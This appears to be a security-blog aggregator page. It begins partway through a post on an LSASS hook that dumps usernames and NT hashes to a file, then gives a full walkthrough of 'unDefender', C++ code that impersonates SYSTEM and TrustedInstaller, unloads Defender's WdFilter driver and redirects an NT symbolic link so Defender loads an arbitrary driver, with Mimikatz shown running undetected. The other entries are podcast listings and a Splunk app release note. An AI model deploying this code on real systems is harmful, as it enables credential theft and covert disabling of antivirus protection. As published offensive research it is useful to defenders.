We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO structure. From that we extract the logonIdentity->LogonDomainName.Buffer field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt. As a side note, LogonDomainName is a UNICODE_STRING structure, defined like so:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

From line 19 to 22 we iterate over logonIdentity->Username.Buffer for logonIdentity->Username.Length/2 times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it. From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords structure (which contain the actual NT hash as we saw previously) and write them to the output file. To finish we proceed to call the actual MsvpPasswordValidate and return its return value at line 34 so that the authentication process can continue unimpeded.

RemoveHook.cpp

The last function we will take a look at is the RemoveHook function.

#include "pch.h"
#include "hppdll.h"

bool RemoveHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	auto error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to unhook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook removed!");
		return true;
	}
}

This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook to inject our hook, the only difference is that we make use of the DetourDetach function instead of the DetourAttach one.

Test drive!

Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.

hppdll gif

It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials. That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.

last out!

✇ Infosec Resources

Episode 200 extravaganza! Best of the Cyber Work Podcast (and $1,000 in prizes!)

By: Infosec

PLEASE NOTE: Around minute 47, I incorrectly say that Eric Milam, author of the definitive report on the BAHAMUT threat group, is employed by HP. He is, in fact, employed by Blackberry. I sincerely apologize to Mr. Milam for the error.

In this special episode, we look back at how the show has evolved over the past three years and celebrate our amazing guests and viewers. You've helped grow the Cyber Work Podcast to nearly a million plays!

To give back, we're launching a brand new way for EVERYONE to build their cybersecurity skills. It's free. It's hands-on. Oh, and did we mention there's more than $1,000 in prizes EVERY MONTH.

– Learn more about the Infosec Skills monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Huge thank you to all the past guests who shared their expertise over the past 200 episodes. The timings of everyone in this episode are listed below. Happy listening!

0:00 - Intro
0:42 - Monthly challenges and $1,000 in prizes!
1:30 - Cyber Work Podcast origins 
2:32 - First episode with Leighton Johnson
3:16 - Finding our first guests
3:46 - Keatron Evans on incident response
6:54 - Susan Morrow on two-factor authentication
8:54 - Susan Morrow on GDPR 
11:03 - Susan Morrow on "booth babes" and speaking up
13:20 - Alissa Knight on getting arrested for hacking at 17
16:39 - Alissa Knight on API security
19:14 - Ron Gula on cybersecurity challenges
23:23 - Amber Schroader on the real work of digital forensics
26:19 - Theme of the Cyber Work Podcast
27:01 - Jeff Williams on creating the OWASP Top Ten
31:23 - David Balcar on the biggest APTs
33:46 - Elie Bursztein on breaking into cybersecurity
37:37 - Sam King on AppSec frameworks and analysis
41:17 - Gary DeMercurio on getting arrested for red teaming
47:19 - Eric Milam on the BAHAMUT threat group 
53:39 - Feedback from Cyber Work Podcast listeners
55:16 - Alyssa Miller on finding your career path 
57:24 - Amber Schroader on computer forensics tasks
59:07 - Richard Ford on malware analyst careers
1:02:02 - Career action you can take today  
1:02:19 - Rita Gurevich on reading and learning
1:03:20 - Snehal Antani on transitioning careers
1:04:26 - Promoting underrepresented voices
1:05:09 - Mari Galloway on women in cybersecurity
1:05:31 -  Alyssa Miller on diversity "dog whistles"
1:10:11 - Christine Izuakor on creating role models
1:10:52 - We want to hear your story
1:11:40 - Monthly challenges and outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

The dying knight in the shiny armour

By: ["last"]

TL;DR

With Administrator level privileges and without interacting with the GUI, it’s possible to prevent Defender from doing its job while keeping it alive and without disabling tamper protection by redirecting the \Device\BootDevice NT symbolic link which is part of the NT path from where Defender’s WdFilter driver binary is loaded. This can also be used to make Defender load an arbitrary driver, which no tool succeeds in locating, but it does not survive reboots. The code to do that is in APTortellini’s Github repository unDefender.

Introduction

Some time ago I had a chat with jonasLyk of the Secret Club hacker collective about a technique he devised to disable Defender without making it obvious it was disabled and/or invalidating its tamper protection feature. What I liked about this technique was that it employed some really clever NT symbolic links shenanigans I’ll try to outline in this blog post (which, coincidentally, is also the first one of the Advanced Persistent Tortellini collective :D). Incidentally, this techniques makes for a great way to hide a rootkit inside a Windows system, as Defender can be tricked into loading an arbitrary driver (that, sadly, has to be signed) and no tool is able to pinpoint it, as you’ll be able to see in a while. Grab a beer, and enjoy the ride lads!

Win32 paths, NT paths and NT symbolic links

When loading a driver in Windows there are two ways of specifying where on the filesystem the driver binary is located: Win32 paths and NT paths. A complete analysis of the subtle differences between these two kinds of paths is out of the scope of this article, but James Forshaw already did a great job at explaining it. Essentially, Win32 paths are a dumbed-down version of the more complete NT paths and heavily rely on NT symbolic links. Win32 paths are the familiar path we all use everyday, the ones with letter drives, while NT paths use a different tree structure on which Win32 paths are mapped. Let’s look at an example:

Win32 path NT Path
C:\Temp\test.txt \Device\HarddiskVolume4\Temp\test.txt

When using explorer.exe to navigate the folders in the filesystem we use Win32 paths, though it’s just an abstraction layer as the kernel uses NT paths to work and Win32 paths are translated to NT paths before being consumed by the OS.

To make things a bit more complicated, NT paths can make use of NT symbolic links, just as there are symbolic links in Win32 paths. In fact, drive letters like C: and D: are actually NT symbolic links to NT paths: as you can see in the table above, on my machine C: is a NT symbolic link to the NT path \Device\HarddiskVolume4. Several NT symbolic links are used for various purposes, one of them is to specify the path of certain drivers, like WdFilter for example: by querying it using the CLI we can see the path from which it’s loaded:

sc.exe qc wdfilter

As you can see the path starts with \SystemRoot, which is a NT symbolic link. Using SysInternals’ Winobj.exe we can see that \SystemRoot points to \Device\BootDevice\Windows. \Device\BootDevice is itself another symbolic link to, at least for my machine, \Device\HarddiskVolume4. Like all objects in the Windows kernel, NT symbolic links’ security is subordinated to ACL. Let’s inspect them:

symlink acl

SYSTEM (and Administrators) don’t have READ/WRITE privilege on the NT symbolic link \SystemRoot (although we can query it and see where it points to), but they have the DELETE privilege. Factor in the fact SYSTEM can create new NT symbolic links and you get yourself the ability to actually change the NT symbolic link: just delete it and recreate it pointing it to something you control. The same applies for other NT symbolic links, \Device\BootDevice included. To actually rewrite this kind of symbolic link we need to use native APIs as there are no Win32 APIs for that.

The code

I’ll walk you through some code snippets from our project unDefender which abuses this behaviour. Here’s a flowchart of how the different pieces of the software work:

unDefender flowchart

All the functions used in the program are defined in the common.h header. Here you will also find definitions of the Nt functions I had to dynamically load from ntdll. Note that I wrap the HANDLE, HMODULE and SC_HANDLE types in custom types part of the RAII namespace as I heavily rely on C++’s RAII paradigm in order to safely handle these types. These custom RAII types are defined in the raii.h header and implemented in their respective .cpp files.

Getting SYSTEM

First things first, we elevate our token to a SYSTEM one. This is easily done through the GetSystem function, implemented in the GetSystem.cpp file. Here we basically open winlogon.exe, a SYSTEM process running unprotected in every Windows session, using the OpenProcess API. After that we open its token, through OpenProcessToken, and impersonate it using ImpersonateLoggedOnUser, easy peasy.

#include "common.h"

bool GetSystem()
{
	RAII::Handle winlogonHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindPID(L"winlogon.exe"));
	if (!winlogonHandle.GetHandle())
	{
		std::cout << "[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";
		return false;
	}
	else std::cout << "[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";

	HANDLE tempHandle;
	auto success = OpenProcessToken(winlogonHandle.GetHandle(), TOKEN_QUERY | TOKEN_DUPLICATE, &tempHandle);
	if (!success)
	{
		std::cout << "[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";
		return success;
	}
	else std::cout << "[+] Opened a handle to winlogon.exe's token!\n";
	RAII::Handle tokenHandle = tempHandle;
	
	success = ImpersonateLoggedOnUser(tokenHandle.GetHandle());
	if (!success)
	{
		std::cout << "[-] Couldn't impersonate winlogon.exe's token, exiting...\n";
		return success;
	}
	else std::cout << "[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";
	return success;
}

Saving the symbolic link current state

After getting SYSTEM we need to backup the current state of the symbolic link, so that we can programmatically restore it later. This is done through the GetSymbolicLinkTarget implemented in the GetSymbolicLinkTarget.cpp file. After resolving the address of the Nt functions (skipped in the following snippet) we define two key data structures: a UNICODE_STRING and an OBJECT_ATTRIBUTES. These two are initialized through the RtlInitUnicodeString and InitializeObjectAttributes APIs. The UNICODE_STRING is initialized using the symLinkName variable, which is of type std::wstring and is one of the arguments passed to GetSymbolicLinkTarget by the main function. The first one is a structure the Windows kernel uses to work with unicode strings (duh!) and is necessary for initializing the second one, which in turn is used to open a handle to the NT symlink using the NtOpenSymbolicLinkObject native API with GENERIC_READ access. Before that though we define a HANDLE which will be filled by NtOpenSymbolicLinkObject itself and that we will assign to the corresponding RAII type (I have yet to implement a way of doing it directly without using a temporary disposable variable, I’m lazy).

Done that we proceed to initialize a second UNICODE_STRING which will be used to store the symlink target retrieved by the NtQuerySymbolicLinkObject native API, which takes as arguments the RAII::Handle we initialized before, the second UNICODE_STRING we just initialized and a nullptr as we don’t care about the number of bytes read. Done that we return the buffer of the second UNICODE_STRING and call it a day.

UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE tempSymLinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&tempSymLinkHandle, GENERIC_READ, &symlinkObjAttr);
RAII::Handle symLinkHandle = tempSymLinkHandle;

UNICODE_STRING LinkTarget{};
wchar_t buffer[MAX_PATH] = { L'\0' };
LinkTarget.Buffer = buffer;
LinkTarget.Length = 0;
LinkTarget.MaximumLength = MAX_PATH;

status = NtQuerySymbolicLinkObject(symLinkHandle.GetHandle(), &LinkTarget, nullptr);
if (!NT_SUCCESS(status))
{
    Error(RtlNtStatusToDosError(status));
    std::wcout << L"[-] Couldn't get the target of the symbolic link " << symLinkName << std::endl;
    return L"";
}
else std::wcout << "[+] Symbolic link target is: " << LinkTarget.Buffer << std::endl;
return LinkTarget.Buffer;

Changing the symbolic link

Now that we have stored the older symlink target it’s time we change it. To do so we once again setup the two UNICODE_STRING and OBJECT_ATTRIBUTES structures that will identify the symlink we want to target and then call the native function NtOpenSymbolicLink to get a handle to said symlink with DELETE privileges.

UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE symlinkHandle;

NTSTATUS status = NtOpenSymbolicLinkObject(&symlinkHandle, DELETE, &symlinkObjAttr);

After that, we proceed to delete the symlink. To do that we first have to call the native function NtMakeTemporaryObject and pass it the handle to the symlink we just got. That’s because this kind of symlinks are created with the OBJ_PERMANENT attribute, which increases the reference counter of their kernel object in kernelspace by 1. This means that even if all handles to the symbolic link are closed, the symbolic link will continue to live in the kernel object manager. So, in order to delete it we have to make the object no longer permanent (hence temporary), which means NtMakeTemporaryObject simply decreases the reference counter by one. When we call the CloseHandle API after that on the handle of the symlink, the reference counter goes to zero and the object is destroyed:

status = NtMakeTemporaryObject(symlinkHandle);
CloseHandle(symlinkHandle);

Once we have deleted the symlink it’s time to recreate it and make it point to the new target. This is done by initializing again a UNICODE_STRING and a OBJECT_ATTRIBUTES and calling the NtCreateSymbolicLinkObject API:

UNICODE_STRING target;
RtlInitUnicodeString(&target, newDestination.c_str());
UNICODE_STRING newSymLinkPath;
RtlInitUnicodeString(&newSymLinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES newSymLinkObjAttr{};
InitializeObjectAttributes(&newSymLinkObjAttr, &newSymLinkPath, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL);
HANDLE newSymLinkHandle;

status = NtCreateSymbolicLinkObject(&newSymLinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &newSymLinkObjAttr, &target);
if (status != STATUS_SUCCESS)
{
	std::wcout << L"[-] Couldn't create new symbolic link " << symLinkName << L" to " << newDestination << L". Error:0x" << std::hex << status << std::endl;
	return status;
}
else std::wcout << L"[+] Symbolic link " << symLinkName << L" to " << newDestination << L" created!" << std::endl;
CloseHandle(newSymLinkHandle);
return STATUS_SUCCESS;

Note two things:

  1. when calling InitializeObjectAttributes we pass the OBJ_PERMANENT attribute as argument, so that the symlink is created as permanent, in order to avoid having the symlink destroyed when unDefender exits;
  2. right before returning STATUS_SUCCESS we call CloseHandle on the newly created symlink. This is necessary because if the handle stays open the reference counter of the symlink will be 2 (1 for the handle, plus 1 for the OBJ_PERMANENT) and we won’t be able to delete it later when we will try to restore the old symlink.

At this point the symlink is changed and points to a location we have control on. In this location we will have constructed a directory tree which mimicks WdFilter’s one and copied our arbitrary driver, conveniently renamed WdFilter.sys - we do it in the first line of the main function through a series of system() function calls. I know it’s uncivilized to do it this way, deal with it.

Killing Defender

Now we move to the juicy part, killing Damnfender! This is done in the ImpersonateAndUnload helper function (implemented in ImpersonateAndUnload.cpp) in 4 steps:

  1. start the TrustedInstaller service and process;
  2. open TrustedInstaller’s first thread;
  3. impersonate its token;
  4. unload WdFilter; We need to impersonate TrustedInstaller because the Defender and WdFilter services have ACLs which gives full control on them only to NT SERVICE\TrustedInstaller and not to SYSTEM or Administrators.
Step 1 - Starting TrustedInstaller

The first thing to do is starting the TrustedInstaller service. To do so we need to get a HANDLE (actually a SC_HANDLE, which is a particular type of HANDLE for the Service Control Manager.) on the Service Control Manager using the OpenSCManagerW API, then use that HANDLE to call OpenServiceW on the TrustedInstaller service and get a HANDLE on it, and finally pass that other HANDLE to StartServiceW. This will start the TrustedInstaller service, which in turn will start the TrustedInstaller process, whose token contains the SID of NT SERVICE\TrustedInstaller. Pretty straightforward, here’s the code:

RAII::ScHandle svcManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!svcManager.GetHandle())
{
	Error(GetLastError());
	return 1;
}
else std::cout << "[+] Opened handle to the SCM!\n";

RAII::ScHandle trustedInstSvc = OpenServiceW(svcManager.GetHandle(), L"TrustedInstaller", SERVICE_START);
if (!trustedInstSvc.GetHandle())
{
	Error(GetLastError());
	std::cout << "[-] Couldn't get a handle to the TrustedInstaller service...\n";
	return 1;
}
else std::cout << "[+] Opened handle to the TrustedInstaller service!\n";

auto success = StartServiceW(trustedInstSvc.GetHandle(), 0, nullptr);
if (!success && GetLastError() != 0x420) // 0x420 is the error code returned when the service is already running
{
	Error(GetLastError());
	std::cout << "[-] Couldn't start TrustedInstaller service...\n";
	return 1;
}
else std::cout << "[+] Successfully started the TrustedInstaller service!\n";
Step 2 - Opening TrustedInstaller’s first thread

Now that the TrustedInstaller process is alive, we need to open a handle its first thread, so that we can call the native API NtImpersonateThread on it in step 3. This is done using the following code:

auto trustedInstPid = FindPID(L"TrustedInstaller.exe");
if (trustedInstPid == ERROR_FILE_NOT_FOUND)
{
	std::cout << "[-] Couldn't find the TrustedInstaller process...\n";
	return 1;
}

auto trustedInstThreadId = GetFirstThreadID(trustedInstPid);
if (trustedInstThreadId == ERROR_FILE_NOT_FOUND || trustedInstThreadId == 0)
{
	std::cout << "[-] Couldn't find TrustedInstaller process' first thread...\n";
	return 1;
}

RAII::Handle hTrustedInstThread = OpenThread(THREAD_DIRECT_IMPERSONATION, false, trustedInstThreadId);
if (!hTrustedInstThread.GetHandle())
{
	std::cout << "[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";
	return 1;
}
else std::cout << "[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";

FindPID and GetFirstThreadID are two helper functions I implemented in FindPID.cpp and GetFirstThreadID.cpp which do exactly what their names tell you: they find the PID of the process you pass them and give you the TID of its first thread, easy. We need the first thread as it will have for sure the NT SERVICE\TrustedInstaller SID in it. Once we’ve got the thread ID we pass it to the OpenThread API with the THREAD_DIRECT_IMPERSONATION access right, which enables us to use the returned handle with NtImpersonateThread later.

Step 3 - Impersonating TrustedInstaller

Now that we have a powerful enough handle we can call NtImpersonateThread on it. But first we have to initialize a SECURITY_QUALITY_OF_SERVICE data structure to tell the kernel which kind of impersonation we want to perform, in this case SecurityImpersonation, that’s a impersonation level which allows us to impersonate the security context of our target locally (look here for more information on Impersonation Levels):

SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
auto status = NtImpersonateThread(GetCurrentThread(), hTrustedInstThread.GetHandle(), &sqos);
if (status == STATUS_SUCCESS) std::cout << "[+] Successfully impersonated TrustedInstaller token!\n";
else
{
	Error(GetLastError());
	std::cout << "[-] Failed to impersonate TrustedInstaller...\n";
	return 1;
}

If NtImpersonateThread did its job well our thread should have the SID of TrustedInstaller now. Note: in order not to fuck up the main thread’s token, ImpersonateAndUnload is called by main in a sacrificial std::thread. Now that we have the required access rights, we can go to step 4 and actually unload the driver.

Step 4 - Unloading WdFilter.sys

To unload WdFilter we first have to release the lock imposed on it by Defender itself. This is achieved by restarting the WinDefend service using the same approach we used to start TrustedInstaller’s one. But first we need to give our token the ability to load and unload drivers. This is done by enabling the SeLoadDriverPrivilege in our security context by calling the helper function SetPrivilege, defined in SetPrivilege.cpp, and by passing it our thread’s token and the privilege we want to enable:

HANDLE tempHandle;
success = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &tempHandle);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Failed to open current thread token, exiting...\n";
	return 1;
}
RAII::Handle currentToken = tempHandle;

success = SetPrivilege(currentToken.GetHandle(), L"SeLoadDriverPrivilege", true);
if (!success) return 1;

Once we have the SeLoadDriverPrivilege enabled we proceed to restart Defender’s service, WinDefend:

RAII::ScHandle winDefendSvc = OpenServiceW(svcManager.GetHandle(), L"WinDefend", SERVICE_ALL_ACCESS);
if (!winDefendSvc.GetHandle())
{
	Error(GetLastError());
	std::cout << "[-] Couldn't get a handle to the WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Opened handle to the WinDefend service!\n";

SERVICE_STATUS svcStatus;
success = ControlService(winDefendSvc.GetHandle(), SERVICE_CONTROL_STOP, &svcStatus);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Couldn't stop WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Successfully stopped the WinDefend service! Proceeding to restart it...\n";

Sleep(10000);

success = StartServiceW(winDefendSvc.GetHandle(), 0, nullptr);
if (!success)
{
	Error(GetLastError());
	std::cout << "[-] Couldn't restart WinDefend service...\n";
	return 1;
}
else std::cout << "[+] Successfully restarted the WinDefend service!\n";

The only thing different from when we started TrustedInstaller’s service is that we first have to stop the service using the ControlService API (by passing the SERVICE_CONTROL_STOP control code) and then start it back using StartServiceW once again. Once Defender’s restarted, the lock on WdFilter is released and we can call NtUnloadDriver on it:

UNICODE_STRING wdfilterDrivServ;
RtlInitUnicodeString(&wdfilterDrivServ, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");

status = NtUnloadDriver(&wdfilterDrivServ);
if (status == STATUS_SUCCESS) 
{
	std::cout << "[+] Successfully unloaded Wdfilter!\n";
}
else
{
	Error(status);
	std::cout << "[-] Failed to unload Wdfilter...\n";
}
return status;

The native function NtUnloadDriver gets a single argument, which is a UNICODE_STRING containing the driver’s registry path (which is a NT path, as \Registry can be seen using WinObj). If everything went according to plan, WdFilter has been unloaded from the kernel.

Reloading and restoring the symlink

Now that WdFilter has been unloaded, Defender’s tamper protection should kick in in a matter of moments and immediately reload it, while also locking it in order to prevent further unloadings. If the symlink has been changed successfully and the directory structure has been created correctly what will be loaded is the driver we provided (which in unDefender’s case is RWEverything). Meanwhile, in 10 seconds, unDefender will restore the original symlink by calling ChangeSymlink again and passing it the old symlink target.

undefender demo

In the demo you can notice a few things:

  • the moment WdFilter is unloaded you can see its entry in Process Hacker turning red;
  • the moment tamper protection kicks in, WdFilter comes right back in green;
  • I managed to copy and run Mimikatz without Defender complaining.

Note: Defender’s icon became yellow in the lower right because it was unhappy with me disabling automatic sample submission, it’s unrelated to unDefender.

References

  1. https://twitter.com/jonasLyk/status/1378143191279472644
  2. https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html
  3. https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
  4. https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html

✇ Infosec Resources

How to excel at penetration testing | Cyber Work Podcast

By: Infosec

Gemma Moore of Cyberis Limited talks about her incredible pentesting career and shares her advice for aspiring pentesters. She also discusses security as it regards the human cost of social engineering, which is the title of a recent article Gemma wrote. 

– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
5:26 - Becoming a world-class pentester
13:55 - 2004 pentesting versus now
17:25 - Early years of pentesting 
19:30 - Natural skills to be a pentester
23:12 - Advice for aspiring pentesters 
25:50 - Working in pentesting 
27:50 - Red teaming 
31:08 - How to be a great pentester
33:04 - Learn about CREST
36:13 - What should be on my resume?
37:45 - Cyberis Limited 
40:25 - Diversity and inclusion 
43:42 - The human cost of social engineering
50:06 - Training staff positively
52:54 - Current projects
54:20 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Sec Team Blog

Event Masker – 2021.08 Release

By: Quentin Brusa

We are proud to announce a new release for Event Masker, with many productivity tweaks and significant enhancements.

ES Integration

It was cumbersome to move from the tab where you had the notable event you wanted to mask, to the tab with Event Masker opened on the correct rule. That is why you may now create a mask rule directly from Splunk Enterprise Security Incident Review panel.

By selecting the Actions drop down menu and clicking on Whitelist Notable in Event Masker, you are directed to the rule creation page. The notable events fields are prefilled, as well as the scope and name of the rule, so it is easy for you to pick what you need. Tick the boxes, tweak the lines as you see fit, and that’s it! Don’t waste anymore time copy/pasting the values!

ES Workflow action redirect to Event Masker form

Validity Period Logic

Event whitelisting based on timespan needed to be more flexible. Previously, we used the time of search to decide when to mask events. From now on, we use the generated time of the given events.

Also, we have seen that the _time field is not necessarily available at the moment you invoke the mask streaming command. Thus, we added the timefield argument to specify against which field you want time exclusions to be applied. For programmatic reasons, its format is %Y-%m-%d %H:%M:%S.%Q.

This enables, for instance, to mask a maintenance window where you see the same events again and again.

Below is an example of logs that are masked only between 10:10 AM and 10:20 AM:

Validity period

Revisited Interface

To ease your life, we moved all the parameters related to a rule on a single page. The rule properties are now above their conditions, to keep a simple and consistent view of what you are doing.

New consolidated edit form

Customizable Rule Types

Want to classify you rules your way? The list of rule types is now based on a lookup table you may edit however you’d like. You may use the well known Splunk application Lookup Editor to update event_masker_rules_type_lookup.csv.

Detailed Comments

Imagine a rule with many hash values. With the new comment column available on every condition, you can explain what it actually means. This new field grants you unprecedented capability to document the rule at the best place of all!

Dashboard and Logs

We extended the logs generated by the mask command and added logs for rule changes (currently, this feature requires write permission on _internals).

This enables new filters on existing dashboards. For instance, the mask command activity can be filtered by scope, rule title or log level.

From the rule list panel, you may jump to the logs to review all changes that occurred on this rule. We see a couple of use cases:

  • troubleshooting regression implied by a recent change
  • peer review of new whitelists

Hence, two new dashboards are available: Event Masker Logs for mask command, and Event Masker Audit Logs for rule logs. Isn’t it simple?

Event Masker logs
Event Masker Audit logs

A new panel on Event Masker Overview shows all the rules and conditions for a given scope:

Rule conditions by scope panel

Default Permission

We updated default permission to add ess_user, ess_analyst and ess_admin roles to read the app content, and added ess_admin write capabilities.

Fetch the Update

You may find the app on:

Feedback Welcomed!

We’d love hearing from you: what you achieved, what you think of it, the features you miss, and the unlikely bugs you found 😉 You may reach us with GitHub issues or at the e-mail address provided in the readme.

Last but not least, a thunder applause for SCRT’s engineers whose commitment to excellence made this update possible!

✇ Infosec Resources

Becoming an ethical hacker with Offensive Security CEO Ning Wang | Cyber Work Podcast

By: Infosec

Ning Wang of Offensive Security talks to us about her role as CEO of Offensive Security. In her role she is responsible for the company culture, vision, strategy and execution. We talk about Wang’s cybersecurity journey, her direction at OffSec and the ways that white hat hackers can be recruited into the industry, possibly riding the interest of big news-story hacking events like the Colonial Pipeline hack to do so.

– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:21 - Origin story
5:31 - Changing careers 
7:46 - Skills learned throughout Wang’s career
11:46 - Taking a chance on a new career
12:50 - What is Offensive Security? 
16:19 - Try harder mindset
19:42 - Offensive Security certification
23:02 - Recruiting ethical hackers
28:12 - Civic responsibility 
33:10 - Ethical hacking job specialties 
36:49 - Tips for ethical hacking learners
40:09 - Women in cybersecurity 
43:56 - Offensive Security’s future 
46:35 - Feedback from students
48:11 - Learn more about Wang OS
48:48 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Consumer protection careers: Fraud, identity theft and social engineering | Cyber Work Podcast

By: Infosec

Adam Levin of CyberScout talks to us about scams, identity theft and more across the cybersecurity industry from the 1970s until today. He also tells us about his podcast, What the Hack with Adam Levin, which is focused on hacking, fraud and theft.

– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:01 - Origin story
7:07 - Bank safety in the old days
8:02 - Fraud and scams over the years
9:27 - Tactics today
13:15 - Scam experiences
14:33 - Scam embarrassment and stigma
18:17 - What the Hack podcast
20:22 - A taste of What the Hack
21:28 - How do you pursue stories for the podcast?
25:38 - How do you structure episodes?
26:44 - Humor in cybersecurity environment
28:43 - Work from home balance
30:25 - What is hot in fraud right now
36:50 - Credit reports
38:28 - Consumer protection and fraud careers
42:53 - Cyber savvy countries 
44:31 - Predictions on fraud evolution
48:26 - Benefit to nationwide education?
50:42 - Optimism for security education
52:26 - Find out more about What the Hack
52:58 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

How to become a cybersecurity threat intelligence professional | Cyber Work Podcast

By: Infosec

Neal Dennis of Cyware talks to us about building a collective defense via increased threat intelligence sharing in the global security community. Dennis has worked with customer success and clients, helping them map out new intelligence workflows, and has also built out several intelligence analysis programs for Fortune 500 companies. Neal started his career as a SIGINT specialist while serving in the United States Marine Corps and later supported cyber initiatives for USCYBERCOM, STRATCOM, NSA, 24th Air Force, USAF Office of Special Investigations and JFCC-NW.

– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
2:10 - Origin story
3:57 - Military and linguistics influence 
6:10 - Work in counterintelligence
8:51 - Digital forensics work
11:02 - Changes in open-source intelligence work
13:00 - Building a global defensive network
15:46 - Why aren’t we sharing info?
18:41 - How to implement global changes?
23:42 - Areas of friction for sharing
29:15 - Threat intel and open-source intel as a job
32:55 - Do research analysis
35:03 - Hiring outlook
37:15 - Tell us about Cyware
39:38 - Learn more about Dennis and Cyware
40:06 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Tips on entering blue teaming, red teaming or purple teaming | Cyber Work Live

By: Infosec

Snehal Antani joins us from Horizon3.ai to talk about pentesting, red teaming and why not every vulnerability necessarily needs to be patched. He also shares some great advice for people entering the field.

– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
2:12 - Origin story
4:12 - Using your hacking powers for good
7:14 - Working up the IBM ranks
12:18 - Cloud problems
14:25 - Post-IBM days
